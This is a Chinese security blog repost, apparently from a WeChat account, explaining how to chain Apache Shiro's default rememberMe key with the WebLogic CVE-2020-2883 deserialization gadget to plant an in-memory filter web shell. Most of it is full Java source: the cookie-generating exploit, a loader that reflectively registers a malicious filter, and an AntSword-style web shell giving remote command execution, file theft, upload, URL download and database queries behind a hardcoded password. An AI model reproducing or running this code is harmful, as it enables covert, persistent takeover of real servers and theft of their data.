WebLogic + Shiro 反序列化一键注册filter内存shell

admin 2023年8月6日02:05:25评论42 views字数 15456阅读51分31秒阅读模式
WebLogic + Shiro 反序列化一键注册filter内存shell
遇到的目标shiro不存在可用的gadget,但是探测出他的key为默认的kPH+bIxk5D2deZiIxcaaaA==,通过404报错页面发现是WebLogic,通过CVE-2020-2883的gadget来成功RCE,但是不出网,没法反弹shell,而且是SpringMVC写jsp文件也访问不到,只能搞Filter内存马。
整理一下:
  1. 反序列化的入口是shiro
  2. gadget是2883
  3. 2883通过URLClassLoader定义字节码
  4. 字节码中写注册内存shell的代码
  5. filter shell注册在weblogic的内存中
先解决shiro+2883 gadget利用的问题,其实就是把之前的2883生成的queue对象拿到shiro中进行AES base64加密就行了
byte[] buf = Serializables.serializeToBytes(queue);String key = "kPH+bIxk5D2deZiIxcaaaA==";String rememberMe = EncryptUtil.shiroEncrypt(key, buf);System.out.println(rememberMe);

要定义字节码必须先把字节码的类写出来,也就是注入内存shell的代码。

package org.chabug.memshell;
import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Map;
public class InjectFilterShell {    static {        try {            Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");            Method m = executeThread.getDeclaredMethod("getCurrentWork");            Object currentWork = m.invoke(Thread.currentThread());
            Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");            connectionHandlerF.setAccessible(true);            Object obj = connectionHandlerF.get(currentWork);
            Field requestF = obj.getClass().getDeclaredField("request");            requestF.setAccessible(true);            obj = requestF.get(obj);
            Field contextF = obj.getClass().getDeclaredField("context");            contextF.setAccessible(true);            Object context = contextF.get(obj);
            Field classLoaderF = context.getClass().getDeclaredField("classLoader");            classLoaderF.setAccessible(true);            ClassLoader cl = (ClassLoader) classLoaderF.get(context);
            Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");            cachedClassesF.setAccessible(true);            Object cachedClass = cachedClassesF.get(cl);
            Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);            if (getM.invoke(cachedClass, "shell") == null) {                byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/AntSwordFilterShell.class");                Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);                defineClass.setAccessible(true);                Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);
                String evilName = "gameName" + System.currentTimeMillis();                String filterName = "gameFilter" + System.currentTimeMillis();                String[] url = new String[]{"/*"};
                Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);                putM.invoke(cachedClass, filterName, evilFilterClass);                Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");                Object filterManager = getFilterManagerM.invoke(context);
                Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);                registerFilterM.setAccessible(true);                registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);            }        } catch (Exception e) {            e.printStackTrace();        }    }
    public static byte[] getBytesByFile(String pathStr) {        File file = new File(pathStr);        try {            FileInputStream fis = new FileInputStream(file);            ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);            byte[] b = new byte[1000];            int n;            while ((n = fis.read(b)) != -1) {                bos.write(b, 0, n);            }            fis.close();            byte[] data = bos.toByteArray();            bos.close();            return data;        } catch (Exception e) {            e.printStackTrace();        }        return null;    }}

编译打jar包之后,通过命令执行base64 -d写入,用于我们之后通过URLClassLoader加载这个jar包。因为代码在static块中,所以加载时会自动执行。

再来写通过2883来URLClassLoader我们之前jar包的代码

package org.chabug.memshell;
import com.tangosol.util.ValueExtractor;import com.tangosol.util.comparator.ExtractorComparator;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import org.chabug.util.EncryptUtil;import org.chabug.util.Serializables;import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;import java.net.URL;import java.net.URLClassLoader;import java.util.PriorityQueue;
public class CVE_2020_2883_URLClassLoader {    public static void main(String[] args) {        try {            ReflectionExtractor extractor1 = new ReflectionExtractor(                    "getConstructor",                    new Object[]{new Class[]{URL[].class}}            );
            ReflectionExtractor extractor2 = new ReflectionExtractor(                    "newInstance",                    new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}            );
            // load filter shell            ReflectionExtractor extractor3 = new ReflectionExtractor(                    "loadClass",                    new Object[]{"org.chabug.memshell.InjectFilterShell"}            );
            ReflectionExtractor extractor4 = new ReflectionExtractor(                    "getConstructor",                    new Object[]{new Class[]{}}            );
            ReflectionExtractor extractor5 = new ReflectionExtractor(                    "newInstance",                    new Object[]{new Object[]{}}            );

            ValueExtractor[] valueExtractors = new ValueExtractor[]{                    extractor1,                    extractor2,                    extractor3,                    extractor4,                    extractor5,            };            Class clazz = ChainedExtractor.class.getSuperclass();            Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");            m_aExtractor.setAccessible(true);
            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});            ValueExtractor[] valueExtractors1 = new ValueExtractor[]{                    reflectionExtractor            };
            ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
            PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));            queue.add("1");            queue.add("1");            m_aExtractor.set(chainedExtractor1, valueExtractors);
            Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");            queueArray[0] = URLClassLoader.class;            queueArray[1] = "1";
            byte[] buf = Serializables.serializeToBytes(queue);            String key = "kPH+bIxk5D2deZiIxcaaaA==";            String rememberMe = EncryptUtil.shiroEncrypt(key, buf);            System.out.println(rememberMe);        } catch (Exception e) {            e.printStackTrace();        }    }
}

通过URLClassLoader加载org.chabug.memshell.InjectFilterShell类,会自动执行static,static中会读取C:/Users/Administrator/Desktop/AntSwordFilterShell.class的字节码,然后通过定义字节码的形式注入AntSwordFilterShell类,AntSwordFilterShell也就是我们的Filter shell,代码如下:

package org.chabug.memshell;
import javax.servlet.*;import java.io.*;import java.net.HttpURLConnection;import java.net.URL;import java.sql.*;import java.text.SimpleDateFormat;
public class AntSwordFilterShell implements Filter{
    String Pwd = "th1sIsMySecretPassW0rd!";   //连接密码    String encoder = ""; // default    String cs = "UTF-8"; // 脚本自身编码
    String EC(String s) throws Exception {        if (encoder.equals("hex") || encoder == "hex") return s;        return new String(s.getBytes("ISO-8859-1"), cs);    }
    String showDatabases(String encode, String conn) throws Exception {        String sql = "show databases"; // mysql        String columnsep = "t";        String rowsep = "";        return executeSQL(encode, conn, sql, columnsep, rowsep, false);    }
    String showTables(String encode, String conn, String dbname) throws Exception {        String sql = "show tables from " + dbname; // mysql        String columnsep = "t";        String rowsep = "";        return executeSQL(encode, conn, sql, columnsep, rowsep, false);    }
    String showColumns(String encode, String conn, String dbname, String table) throws Exception {        String columnsep = "t";        String rowsep = "";        String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql        return executeSQL(encode, conn, sql, columnsep, rowsep, true);    }
    String query(String encode, String conn, String sql) throws Exception {        String columnsep = "t|t"; // general        String rowsep = "rn";        return executeSQL(encode, conn, sql, columnsep, rowsep, true);    }
    String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)            throws Exception {        String ret = "";        conn = (EC(conn));        String[] x = conn.trim().replace("rn", "n").split("n");        Class.forName(x[0].trim());        String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);        Connection c = DriverManager.getConnection(url);        Statement stmt = c.createStatement();        ResultSet rs = stmt.executeQuery(sql);        ResultSetMetaData rsmd = rs.getMetaData();
        if (needcoluname) {            for (int i = 1; i <= rsmd.getColumnCount(); i++) {                String columnName = rsmd.getColumnName(i);                ret += columnName + columnsep;            }            ret += rowsep;        }
        while (rs.next()) {            for (int i = 1; i <= rsmd.getColumnCount(); i++) {                String columnValue = rs.getString(i);                ret += columnValue + columnsep;            }            ret += rowsep;        }        return ret;    }
    String WwwRootPathCode(ServletRequest r) throws Exception {        //  String d = r.getSession().getServletContext().getRealPath("/");        String d = this.getClass().getClassLoader().getResource("/").getPath();        String s = "";        if (!d.substring(0, 1).equals("/")) {            File[] roots = File.listRoots();            for (int i = 0; i < roots.length; i++) {                s += roots[i].toString().substring(0, 2) + "";            }        } else {            s += "/";        }        return s;    }
    String FileTreeCode(String dirPath) throws Exception {        File oF = new File(dirPath), l[] = oF.listFiles();        String s = "", sT, sQ, sF = "";        java.util.Date dt;        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");        for (int i = 0; i < l.length; i++) {            dt = new java.util.Date(l[i].lastModified());            sT = fm.format(dt);            sQ = l[i].canRead() ? "R" : "";            sQ += l[i].canWrite() ? " W" : "";            if (l[i].isDirectory()) {                s += l[i].getName() + "/t" + sT + "t" + l[i].length() + "t" + sQ + "n";            } else {                sF += l[i].getName() + "t" + sT + "t" + l[i].length() + "t" + sQ + "n";            }        }        return s += sF;    }
    String ReadFileCode(String filePath) throws Exception {        String l = "", s = "";        BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));        while ((l = br.readLine()) != null) {            s += l + "rn";        }        br.close();        return s;    }
    String WriteFileCode(String filePath, String fileContext) throws Exception {        BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));        bw.write(fileContext);        bw.close();        return "1";    }
    String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {        File f = new File(fileOrDirPath);        if (f.isDirectory()) {            File x[] = f.listFiles();            for (int k = 0; k < x.length; k++) {                if (!x[k].delete()) {                    DeleteFileOrDirCode(x[k].getPath());                }            }        }        f.delete();        return "1";    }
    void DownloadFileCode(String filePath, ServletResponse r) throws Exception {        int n;        byte[] b = new byte[512];        r.reset();        ServletOutputStream os = r.getOutputStream();        BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));        os.write(("->|").getBytes(), 0, 3);        while ((n = is.read(b, 0, 512)) != -1) {            os.write(b, 0, n);        }        os.write(("|<-").getBytes(), 0, 3);        os.close();        is.close();    }
    String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {        String h = "0123456789ABCDEF";        File f = new File(savefilePath);        f.createNewFile();        FileOutputStream os = new FileOutputStream(f);        for (int i = 0; i < fileHexContext.length(); i += 2) {            os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));        }        os.close();        return "1";    }
    String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {        File sf = new File(sourceFilePath), df = new File(targetFilePath);        if (sf.isDirectory()) {            if (!df.exists()) {                df.mkdir();            }            File z[] = sf.listFiles();            for (int j = 0; j < z.length; j++) {                CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());            }        } else {            FileInputStream is = new FileInputStream(sf);            FileOutputStream os = new FileOutputStream(df);            int n;            byte[] b = new byte[1024];            while ((n = is.read(b, 0, 1024)) != -1) {                os.write(b, 0, n);            }            is.close();            os.close();        }        return "1";    }
    String RenameFileOrDirCode(String oldName, String newName) throws Exception {        File sf = new File(oldName), df = new File(newName);        sf.renameTo(df);        return "1";    }
    String CreateDirCode(String dirPath) throws Exception {        File f = new File(dirPath);        f.mkdir();        return "1";    }
    String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {        File f = new File(fileOrDirPath);        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");        java.util.Date dt = fm.parse(aTime);        f.setLastModified(dt.getTime());        return "1";    }
    String WgetCode(String urlPath, String saveFilePath) throws Exception {        URL u = new URL(urlPath);        int n = 0;        FileOutputStream os = new FileOutputStream(saveFilePath);        HttpURLConnection h = (HttpURLConnection) u.openConnection();        InputStream is = h.getInputStream();        byte[] b = new byte[512];        while ((n = is.read(b)) != -1) {            os.write(b, 0, n);        }        os.close();        is.close();        h.disconnect();        return "1";    }
    String SysInfoCode(ServletRequest r) throws Exception {//        String d = r.getServletContext().getRealPath("/");        String d = this.getClass().getClassLoader().getResource("/").getPath();        String serverInfo = System.getProperty("os.name");        String separator = File.separator;        String user = System.getProperty("user.name");        String driverlist = WwwRootPathCode(r);        return d + "t" + driverlist + "t" + serverInfo + "t" + user;    }
    boolean isWin() {        String osname = System.getProperty("os.name");        osname = osname.toLowerCase();        if (osname.startsWith("win"))            return true;        return false;    }
    String ExecuteCommandCode(String cmdPath, String command) throws Exception {        StringBuffer sb = new StringBuffer("");        String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};        Process p = Runtime.getRuntime().exec(c);        CopyInputStream(p.getInputStream(), sb);        CopyInputStream(p.getErrorStream(), sb);        return sb.toString();    }
    String decode(String str) {        byte[] bt = null;        try {            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();            bt = decoder.decodeBuffer(str);        } catch (IOException e) {            e.printStackTrace();        }        return new String(bt);    }
    String decode(String str, String encode) {        if (encode.equals("hex") || encode == "hex") {            if (str == "null" || str.equals("null")) {                return "";            }            StringBuilder sb = new StringBuilder();            StringBuilder temp = new StringBuilder();            try {                for (int i = 0; i < str.length() - 1; i += 2) {                    String output = str.substring(i, (i + 2));                    int decimal = Integer.parseInt(output, 16);                    sb.append((char) decimal);                    temp.append(decimal);                }            } catch (Exception e) {                e.printStackTrace();            }            return sb.toString();        } else if (encode.equals("base64") || encode == "base64") {            byte[] bt = null;            try {                sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();                bt = decoder.decodeBuffer(str);            } catch (IOException e) {                e.printStackTrace();            }            return new String(bt);        }        return str;    }
    void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {        String l;        BufferedReader br = new BufferedReader(new InputStreamReader(is));        while ((l = br.readLine()) != null) {            sb.append(l + "rn");        }        br.close();    }
    public void init(FilterConfig f) throws ServletException {    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {        if (request.getParameter("size") != null) {            response.setContentType("text/html");            response.setCharacterEncoding(cs);            StringBuffer sb = new StringBuffer("");            try {                String funccode = EC(request.getParameter(Pwd) + "");                String z0 = decode(EC(request.getParameter("z0") + ""), encoder);                String z1 = decode(EC(request.getParameter("z1") + ""), encoder);                String z2 = decode(EC(request.getParameter("z2") + ""), encoder);                String z3 = decode(EC(request.getParameter("z3") + ""), encoder);                String[] pars = {z0, z1, z2, z3};                sb.append("->|");
                if (funccode.equals("B")) {                    sb.append(FileTreeCode(pars[1]));                } else if (funccode.equals("C")) {                    sb.append(ReadFileCode(pars[1]));                } else if (funccode.equals("D")) {                    sb.append(WriteFileCode(pars[1], pars[2]));                } else if (funccode.equals("E")) {                    sb.append(DeleteFileOrDirCode(pars[1]));                } else if (funccode.equals("F")) {                    DownloadFileCode(pars[1], response);                } else if (funccode.equals("U")) {                    sb.append(UploadFileCode(pars[1], pars[2]));                } else if (funccode.equals("H")) {                    sb.append(CopyFileOrDirCode(pars[1], pars[2]));                } else if (funccode.equals("I")) {                    sb.append(RenameFileOrDirCode(pars[1], pars[2]));                } else if (funccode.equals("J")) {                    sb.append(CreateDirCode(pars[1]));                } else if (funccode.equals("K")) {                    sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));                } else if (funccode.equals("L")) {                    sb.append(WgetCode(pars[1], pars[2]));                } else if (funccode.equals("M")) {                    sb.append(ExecuteCommandCode(pars[1], pars[2]));                } else if (funccode.equals("N")) {                    sb.append(showDatabases(pars[0], pars[1]));                } else if (funccode.equals("O")) {                    sb.append(showTables(pars[0], pars[1], pars[2]));                } else if (funccode.equals("P")) {                    sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));                } else if (funccode.equals("Q")) {                    sb.append(query(pars[0], pars[1], pars[2]));                } else if (funccode.equals("A")) {                    sb.append(SysInfoCode(request));                }            } catch (Exception e) {                sb.append("ERROR" + "://" + e.toString());                e.printStackTrace();            }            sb.append("|<-");            response.getWriter().print(sb.toString());        } else {            chain.doFilter(request, response);        }    }
    public void destroy() {    }}

现在就可以直接打了。先把org.chabug.memshell.InjectFilterShell打jar包

jar cvf tttt.jar orgchabugmemshellInjectFilterShell.class

然后把tttt.jar和AntSwordFilterShell.class写入目标。最后用CVE_2020_2883_URLClassLoader生成rememberMe Cookie打目标就行了。

URLClassLoader -> tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell

演示:

文章来源:https://github.com/Y4er/WebLogic-Shiro-shell

原文始发于微信公众号(Ots安全):WebLogic + Shiro 反序列化一键注册filter内存shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月6日02:05:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WebLogic + Shiro 反序列化一键注册filter内存shellhttp://cn-sec.com/archives/1936055.html

发表评论

匿名网友 填写信息